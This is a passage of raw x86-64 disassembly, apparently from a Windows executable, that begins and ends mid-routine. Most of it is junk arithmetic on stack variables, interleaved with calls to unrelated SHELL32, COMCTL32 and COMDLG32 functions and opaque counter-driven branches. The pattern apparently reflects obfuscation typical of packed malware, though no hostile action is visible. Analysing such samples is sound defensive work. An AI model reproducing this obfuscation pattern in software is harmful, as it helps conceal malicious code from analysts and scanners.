movsx eax, byte [rsp + 0x346]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xcfd8]
mov rcx, qword [rsp + 0xb6e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa78], rax
mov r8d, 1
lea rdx, [rsp + 0xcf78]
lea rcx, [rsp + 0x21150]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x6c38], eax
mov eax, dword [rsp + 0x6c78]
mov ecx, dword [rsp + 0x6c94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5918], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fb]
xor eax, ecx
mov byte [rsp + 0x4a1], al
movsx eax, word [rsp + 0x2a50]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019ef94], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [0x14019ef98]
or eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
movzx eax, word [rsp + 0x2a48]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x183c], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x5cf0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x4df]
sub eax, ecx
mov byte [rsp + 0x4e3], al
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xd008], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd008]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
mov eax, dword [rsp + 0x6cd0]
add eax, 0x59
mov dword [rsp + 0x6cd0], eax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a54], ax
mov rax, qword [rsp + 0xcf48]
mov rcx, qword [rsp + 0xcec0]
add rcx, rax
mov rax, rcx
mov qword [0x14019d018], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a48], ax
mov rcx, qword [rsp + 0xd010]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x6c14], eax
jmp 0x14001cf16
mov rax, qword [rsp + 0xcf48]
mov rcx, qword [0x14019d018]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xccf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shl eax, cl
mov dword [rsp + 0x5cf0], eax
mov eax, dword [rsp + 0x6c78]
movzx ecx, al
mov eax, dword [rsp + 0x63c8]
sar eax, cl
mov dword [rsp + 0x5938], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
sub eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
add eax, ecx
mov byte [rsp + 0x362], al
mov dword [rsp + 0x20], 0x82
mov r9d, 0x3b
lea r8, [rsp + 0x21410]
mov edx, 0x40
mov rcx, qword [rsp + 0xcde8]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x6cd8], eax
movsx eax, word [rsp + 0x2a50]
movsx ecx, word [rsp + 0x2a34]
add eax, ecx
mov word [0x14019ef94], ax
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a54], ax
mov eax, dword [rsp + 0x6c40]
sub eax, 0xec
mov dword [rsp + 0x6c40], eax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xcfd8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [0x14019ef91]
add eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6c24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
xor eax, ecx
mov word [rsp + 0x2a50], ax
movzx eax, word [0x14019ef98]
movzx ecx, word [rsp + 0x183c]
and eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
sub eax, ecx
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xccf8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcec0]
sar rax, cl
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfe0]
mov qword [rsp + 0xd018], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd018]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x183c]
movzx ecx, word [rsp + 0x2a44]
sub eax, ecx
mov word [rsp + 0x2a54], ax
movzx eax, byte [rsp + 0x3fb]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov byte [rsp + 0x4a1], al
mov eax, dword [rsp + 0x5938]
mov ecx, dword [rsp + 0x63c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c94], eax
cmp dword [rsp + 0x6c40], 0x9de5
jae 0x14001d176
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xaa78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6e0], rax
cmp dword [rsp + 0x6c1c], 0x1d72
jb 0x14001d6bd
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6c24]
shl eax, cl
mov dword [rsp + 0x6bd0], eax
mov eax, dword [rsp + 0x6c1c]
sub eax, 0x45
mov dword [rsp + 0x6c1c], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x347]
sar eax, cl
mov byte [0x14019ef92], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a50], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a44], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcac8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e4]
sar eax, cl
mov byte [rsp + 0x362], al
mov eax, dword [rsp + 0x6c24]
mov rcx, qword [rsp + 0xcfb0]
mov qword [rsp + 0xd020], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd020]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xce58]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2a38]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xcfe8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf48], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a3c], ax
mov eax, dword [rsp + 0x6c78]
mov ecx, dword [rsp + 0x5918]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c94], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fb]
sar eax, cl
mov byte [rsp + 0x4a1], al
mov eax, dword [0x14019efb0]
mov rcx, qword [rsp + 0xcfb0]
mov qword [rsp + 0xd028], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd028]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6c24], eax
jmp 0x14001d49c
movsx eax, byte [rsp + 0x4e3]
movsx ecx, byte [rsp + 0x362]
and eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xcfd8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb6e0], rax
movsx eax, word [0x14019ef94]
movsx ecx, word [rsp + 0x2a38]
or eax, ecx
mov word [rsp + 0x1548], ax
movzx eax, word [rsp + 0x2a48]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [str.L_nbT], ax
mov rax, qword [0x14019d008]
movzx ecx, al
mov rax, qword [rsp + 0xb590]
sar rax, cl
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xd000]
mov rcx, qword [rsp + 0xcfe0]
mov qword [rsp + 0xd030], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd030]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcdc8], rax
movsx eax, word [rsp + 0x2a38]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [0x14019efb0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb6e0], rax
movsx eax, byte [rsp + 0x4e3]
movsx ecx, byte [0x14019ef92]
add eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xd000]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
add eax, ecx
mov word [0x14019ef94], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
and eax, ecx
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
xor eax, ecx
mov byte [rsp + 0x4a1], al
mov eax, dword [rsp + 0x63c8]
movzx ecx, al
mov eax, dword [rsp + 0x5938]
sar eax, cl
mov dword [rsp + 0x5918], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb590], rax
mov eax, dword [rsp + 0x6bd0]
movzx ecx, al
mov eax, dword [0x14019efb0]
shl eax, cl
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef92]
sub eax, ecx
mov byte [rsp + 0x4df], al
mov eax, dword [rsp + 0x6be8]
sub eax, 0x2b
mov dword [rsp + 0x6be8], eax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2a54]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
sar rax, cl
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
sub eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x4e3]
movsx ecx, byte [rsp + 0x4e4]
xor eax, ecx
mov byte [rsp + 0x4df], al
lea rcx, [rsp + 0x221d0]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xd038], rax
mov rax, qword [rsp + 0xcfd8]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xd040], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd040]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xce58], rax
cmp dword [rsp + 0x6be8], 0x1f80
ja 0x14001d6bd
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [0x14019efb0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5cf0], eax
movzx eax, word [rsp + 0x2a4c]
movzx ecx, word [rsp + 0x2a40]
sar eax, cl
mov word [rsp + 0xcc8], ax
mov rax, qword [rsp + 0xcac8]
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
mov eax, dword [rsp + 0x63c8]
mov ecx, dword [rsp + 0x5938]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c94], eax
movzx eax, byte [rsp + 0x2b2]
movzx ecx, byte [rsp + 0x3fb]
sub eax, ecx
mov byte [rsp + 0x4e2], al
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
or eax, ecx
mov word [rsp + 0x183c], ax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef91]
shl eax, cl
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xb6e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcfd8], rax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6bd0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
and eax, ecx
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a4c]
xor eax, ecx
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b60]
movzx ecx, al
mov rax, qword [rsp + 0xd000]
sar rax, cl
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcf80]
shl rax, cl
mov qword [rsp + 0xcec0], rax
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x2a38]
sub eax, ecx
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e3]
add eax, ecx
mov byte [rsp + 0x347], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6e0], rax
mov eax, dword [0x14019efb0]
mov ecx, dword [rsp + 0x5cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov eax, dword [rsp + 0x5938]
mov ecx, dword [rsp + 0x6c94]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5918], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
shl eax, cl
mov byte [rsp + 0x4a1], al
mov eax, dword [rsp + 0x6ca0]
add eax, 0x99
mov dword [rsp + 0x6ca0], eax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
sar eax, cl
mov word [0x14019ef94], ax
movzx eax, word [rsp + 0x183c]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a44], ax
movzx eax, word [rsp + 0x2a4c]
movzx ecx, word [rsp + 0x2a40]
add eax, ecx
mov word [rsp + 0x2a48], ax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0xb590]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcfe0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6c24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x346]
or eax, ecx
mov byte [rsp + 0x4e3], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
shl eax, cl
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc8]
sar eax, cl
mov rcx, qword [rsp + 0xcfb8]
mov word [rcx], ax
mov r8w, 0x6d
mov rdx, qword [rsp + 0xce10]
mov rcx, qword [rsp + 0xce10]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0x2a5c], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa88]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d018], rax
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a4c], ax
cmp dword [rsp + 0x6ca0], 0xf53f
jne 0x14001da7f
mov rax, qword [rsp + 0xcfe8]
mov rcx, qword [rsp + 0xcf80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov qword [rsp + 0xd048], rax
mov dword [rsp + 0x6cdc], 0xd1ec
cmp dword [rsp + 0x6cdc], 0xed60
jae 0x14001e10a
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [0x14019efb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xb6e0]
movzx ecx, al
mov rax, qword [rsp + 0xcfd8]
shl rax, cl
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4a1]
or eax, ecx
mov byte [rsp + 0x3fb], al
mov eax, dword [rsp + 0x6c78]
movzx ecx, al
mov eax, dword [rsp + 0x63c8]
sar eax, cl
mov dword [rsp + 0x5918], eax
mov r9d, 0x8f
mov r8d, 0x4e
mov edx, 0x21
mov rcx, qword [rsp + 0xcde8]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [rsp + 0x4e0]
xor eax, ecx
mov byte [rsp + 0x4e4], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14019ef94], ax
lea r9, [rsp + 0x6cd8]
lea r8, [rsp + 0x221d0]
lea rdx, [rsp + 0x1e058]
mov rcx, qword [rsp + 0xce20]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x6ce0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2a40]
movzx ecx, word [rsp + 0x183c]
sar eax, cl
mov word [rsp + 0x2a48], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a44], ax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x5cf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movsx eax, byte [rsp + 0x4e3]
movsx ecx, byte [rsp + 0x4e1]
add eax, ecx
mov byte [rsp + 0x4e4], al
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a34], ax
mov eax, dword [rsp + 0x6cdc]
add eax, 0xfb
mov dword [rsp + 0x6cdc], eax
movzx eax, word [rsp + 0x2a48]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcfb8]
mov word [rcx], ax
movzx eax, word [rsp + 0x2a4c]
movzx ecx, word [rsp + 0x2a40]
add eax, ecx
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xcec0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
sar rax, cl
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd048]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a54], ax
jmp 0x14001de67
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
shl eax, cl
mov byte [rsp + 0x4a1], al
mov eax, dword [rsp + 0x5918]
mov ecx, dword [rsp + 0x6c78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c8], eax
mov eax, dword [rsp + 0x5cf0]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shr eax, cl
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
movsx eax, byte [0x14019ef92]
movsx ecx, byte [rsp + 0x4e3]
shl eax, cl
mov byte [rsp + 0x362], al
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xcfd8]
or rcx, rax
mov rax, rcx
mov qword [0x14019d020], rax
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1548], ax
mov eax, dword [rsp + 0x6c54]
add eax, 0x94
mov dword [rsp + 0x6c54], eax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
add eax, ecx
mov word [rsp + 0x2a48], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaa88], rax
movsx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x347], al
mov rax, qword [rsp + 0xce58]
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd8], rax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6c24]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6bd0], eax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a34], ax
cmp dword [rsp + 0x6c54], 0x432b
jbe 0x14001e10a
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
sar eax, cl
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
mov dword [rsp + 0x6ce4], ecx
movzx edx, word [0x14019ef98]
movzx ecx, dl
mov edx, dword [rsp + 0x6ce4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14001e343
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [str.L_nbT], ax
mov rax, qword [rsp + 0xcf48]
mov rcx, qword [rsp + 0xcf80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
xor eax, ecx
mov word [rsp + 0x2a3c], ax
call fcn.140181f50
jmp 0x14001e773
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x346]
or eax, ecx
movsx ecx, byte [rsp + 0x347]
movsx edx, byte [rsp + 0x4e1]
sub ecx, edx
cmp eax, ecx
jl 0x14001e4b5
movzx eax, word [rsp + 0x183c]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x2a4c]
mov rdx, qword [rsp + 0xcf28]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jg 0x14001e408
lea rax, [rsp + 0x6c94]
mov qword [rsp + 0xd050], rax
movzx eax, byte [rsp + 0x4e2]
movzx ecx, byte [rsp + 0x4a1]
sub eax, ecx
mov byte [rsp + 0x2b2], al
lea rax, [rsp + 0x5cf0]
mov qword [rsp + 0xd058], rax
movsx eax, byte [rsp + 0x346]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x149], al
lea rcx, [rsp + 0x1f380]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
jmp 0x14001e4b0
movsx eax, word [rsp + 0x2a38]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
shl eax, cl
movsx ecx, word [rsp + 0x1548]
mov dword [rsp + 0x6ce8], ecx
movsx edx, word [rsp + 0x2a50]
movzx ecx, dl
